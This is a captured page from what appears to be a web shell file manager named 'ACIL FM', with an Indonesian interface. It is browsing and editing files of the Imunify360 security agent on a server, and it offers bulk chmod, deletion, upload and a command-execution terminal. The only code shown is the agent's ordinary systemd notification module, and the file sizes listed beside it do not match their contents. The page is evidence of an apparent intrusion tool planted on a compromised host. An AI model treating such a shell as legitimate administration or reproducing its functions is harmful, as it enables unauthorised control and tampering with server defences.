ACIL FM
Dark
Refresh
Current DIR:
/opt/imunify360/venv/lib/python3.11/site-packages/defence360agent/subsys
/
opt
imunify360
venv
lib
python3.11
site-packages
defence360agent
subsys
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
features
-
chmod
Open
Rename
Delete
panels
-
chmod
Open
Rename
Delete
__pycache__
-
chmod
Open
Rename
Delete
backup_systems.py
11.19 MB
chmod
View
DL
Edit
Rename
Delete
clcagefs.py
7.79 MB
chmod
View
DL
Edit
Rename
Delete
notifier.py
1.82 MB
chmod
View
DL
Edit
Rename
Delete
persistent_state.py
1.88 MB
chmod
View
DL
Edit
Rename
Delete
svcctl.py
8.67 MB
chmod
View
DL
Edit
Rename
Delete
sysctl.py
379 B
chmod
View
DL
Edit
Rename
Delete
systemd_notifier.py
1.58 MB
chmod
View
DL
Edit
Rename
Delete
web_server.py
21.22 MB
chmod
View
DL
Edit
Rename
Delete
__init__.py
0 B
chmod
View
DL
Edit
Rename
Delete
Edit file: /opt/imunify360/venv/lib/python3.11/site-packages/defence360agent/subsys/systemd_notifier.py
"""Notify systemd about process state""" import logging import os from defence360agent.contracts.config import ANTIVIRUS_MODE logger = logging.getLogger(__name__) class AgentState(object): """Allowed agent state for notifying systemd.""" READY = "READY=1" STARTING = "STATUS=Starting main process" MIGRATING = "STATUS=Applying database migrations" DAEMONIZED = "STATUS=Demonized" def notify(state): """ Send notification to systemd, allowed formats described here https://www.freedesktop.org/software/systemd/man/sd_notify.html For example: notify("STATUS=Almost ready") """ if ANTIVIRUS_MODE: return try: import sdnotify # We've made this import inside function deliberately because some # systems don't have systemd and stdnotify thus except ImportError as e: logger.info("Can't import sdnotify, reason: %s", e) else: if "NOTIFY_SOCKET" not in os.environ: logger.warning( "$NOTIFY_SOCKET environment variable is not set. It is set by" " service manager for supervised processes for status and" " start-up completion notification. Nowhere to send the" " status." ) else: try: n = sdnotify.SystemdNotifier(debug=True) n.notify(state) except Exception as e: # NOSONAR logger.exception( "some problem has occurred during notifying of" " systemd: %s", e, )
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply